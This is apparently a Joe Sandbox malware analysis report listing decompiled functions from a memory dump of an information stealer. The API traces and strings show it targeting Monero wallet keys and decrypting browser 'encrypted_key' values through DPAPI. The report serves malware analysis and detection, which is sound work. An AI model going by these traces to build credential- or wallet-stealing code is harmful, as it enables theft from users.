Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: c391f521f4b5f056aca7f77a11ac13313645eb48fd4b54ab4454118917f047b6
Instruction ID: e10dec1a5519bfbce9303c89f0df5ed266b8350adef09e0b53a0fa61eb0d5513
Opcode Fuzzy Hash: c391f521f4b5f056aca7f77a11ac13313645eb48fd4b54ab4454118917f047b6
Instruction Fuzzy Hash: A80131B9A40208BFDB00DFE0DC89FAEB7B8EB58701F008159FA45D7280D6759A018F51

Function 007FA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01359068,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 007FA0BD
LoadLibraryA.KERNEL32(0135D7E0), ref: 007FA146

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A820: lstrlen.KERNEL32(007F4F05,?,?,007F4F05,00810DDE), ref: 0080A82B
Part of subcall function 0080A820: lstrcpy.KERNEL32(00810DDE,00000000), ref: 0080A885

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

SetEnvironmentVariableA.KERNEL32(01359068,00000000,00000000,?,008112D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00810AFE), ref: 007FA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 007FA0B2, 007FA0C6, 007FA0DC

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: c72d6bd8fa430637254a3390b5c96e26210169e9eb7c0a3b95a77655d771307e
Instruction ID: e08a05b9dca619565fd7fa919ebc7b69e11a040d48742d79695c2211b4facc15
Opcode Fuzzy Hash: c72d6bd8fa430637254a3390b5c96e26210169e9eb7c0a3b95a77655d771307e
Instruction Fuzzy Hash: 464151B1901218AFCB48DFE8EC86BAE7774FB64301F044128F685D32A0DB395946DB63

Function 007FA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 00808B60: GetSystemTime.KERNEL32(00810E1A,0135A690,008105AE,?,?,007F13F9,?,0000001A,00810E1A,00000000,?,01359198,?,\Monero\wallet.keys,00810E17), ref: 00808B86

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007FA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 007FA3FF
lstrlen.KERNEL32(00000000), ref: 007FA6BC

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

DeleteFileA.KERNEL32(00000000), ref: 007FA743

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 678348e046d0889efc157172802e6df80af55b64b9f7883b5a763bf1483d1756
Instruction ID: 97d2eecd03dadea6e17eb461cd168d6e556e86d99f0f416f93addbafc19abd60
Opcode Fuzzy Hash: 678348e046d0889efc157172802e6df80af55b64b9f7883b5a763bf1483d1756
Instruction Fuzzy Hash: EDE1D2729102189ADB49EBA8DD96EEE7338FF24300F508169F516F60D1DF346A49CB63

Function 007FD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 00808B60: GetSystemTime.KERNEL32(00810E1A,0135A690,008105AE,?,?,007F13F9,?,0000001A,00810E1A,00000000,?,01359198,?,\Monero\wallet.keys,00810E17), ref: 00808B86

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007FD801
lstrlen.KERNEL32(00000000), ref: 007FD99F
lstrlen.KERNEL32(00000000), ref: 007FD9B3
DeleteFileA.KERNEL32(00000000), ref: 007FDA32

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0a229476d73b518e4a74e6834b3fd2e56ec4fa8715f20cfd8b84de6bb2e8a2d9
Instruction ID: b85e5d3d3c57a17a714c47b6d93f303186f068cd8026c6580cf647be406bb22e
Opcode Fuzzy Hash: 0a229476d73b518e4a74e6834b3fd2e56ec4fa8715f20cfd8b84de6bb2e8a2d9
Instruction Fuzzy Hash: A281E3729102189ADB48EBA8DD96EEE7338FF54300F508128F557E61D1EF346A09CB63

Function 007FF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007F99EC
Part of subcall function 007F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007F9A11
Part of subcall function 007F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 007F9A31
Part of subcall function 007F99C0: ReadFile.KERNEL32(000000FF,?,00000000,007F148F,00000000), ref: 007F9A5A
Part of subcall function 007F99C0: LocalFree.KERNEL32(007F148F), ref: 007F9A90
Part of subcall function 007F99C0: CloseHandle.KERNEL32(000000FF), ref: 007F9A9A

Part of subcall function 00808E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00808E52

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00811580,00810D92), ref: 007FF54C
lstrlen.KERNEL32(00000000), ref: 007FF56B

Strings

moz-extension+++, xrefs: 007FF5AD
^userContextId=4294967295, xrefs: 007FF59C

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 25edc31a2d5b31b166b98e8b455fcb8f4d3e873b1541e767ef537f2fec6e6cbb
Instruction ID: dfd756d2ed02b428e1db655ef27a7fd4f6fda1ff1f3c0d5b1fe49036aa136dae
Opcode Fuzzy Hash: 25edc31a2d5b31b166b98e8b455fcb8f4d3e873b1541e767ef537f2fec6e6cbb
Instruction Fuzzy Hash: 7351CF719102089ADB48FBA8DC96DED7779FF54300F40C528F916E61D1EE346A09CBA3

Function 007F9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 007F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007F99EC
Part of subcall function 007F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007F9A11
Part of subcall function 007F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 007F9A31
Part of subcall function 007F99C0: ReadFile.KERNEL32(000000FF,?,00000000,007F148F,00000000), ref: 007F9A5A
Part of subcall function 007F99C0: LocalFree.KERNEL32(007F148F), ref: 007F9A90
Part of subcall function 007F99C0: CloseHandle.KERNEL32(000000FF), ref: 007F9A9A

Part of subcall function 00808E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00808E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 007F9D39

Part of subcall function 007F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,007F4EEE,00000000,00000000), ref: 007F9AEF
Part of subcall function 007F9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,007F4EEE,00000000,?), ref: 007F9B01
Part of subcall function 007F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,007F4EEE,00000000,00000000), ref: 007F9B2A
Part of subcall function 007F9AC0: LocalFree.KERNEL32(?,?,?,?,007F4EEE,00000000,?), ref: 007F9B3F

Part of subcall function 007F9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 007F9B84
Part of subcall function 007F9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 007F9BA3
Part of subcall function 007F9B60: LocalFree.KERNEL32(?), ref: 007F9BD3

Strings

, xrefs: 007F9DC1
"encrypted_key":", xrefs: 007F9D30
DPAPI, xrefs: 007F9D89

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: b65cfce6dbd3f4a2e4b53eb9a74a8a0c692431e71fc5b1190bbb6366e8773e44
Instruction ID: 63d9ef8422812cf3c23cb504c823dbbb44457ed7cd2a4e81209860c691aab74b
Opcode Fuzzy Hash: b65cfce6dbd3f4a2e4b53eb9a74a8a0c692431e71fc5b1190bbb6366e8773e44
Instruction Fuzzy Hash: 0C310EB5E1020DABCB14EBE4DC85BFE77B8BB48304F144519EB15A7241E7389A54CBA2

Function 00806AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013590C8,?,0081110C,?,00000000,?,00811110,?,00000000,00810AEF), ref: 00806ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00806AE8
CloseHandle.KERNEL32(00000000), ref: 00806AF9
Sleep.KERNEL32(00001770), ref: 00806B04
CloseHandle.KERNEL32(?,00000000,?,013590C8,?,0081110C,?,00000000,?,00811110,?,00000000,00810AEF), ref: 00806B1A
ExitProcess.KERNEL32 ref: 00806B22

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
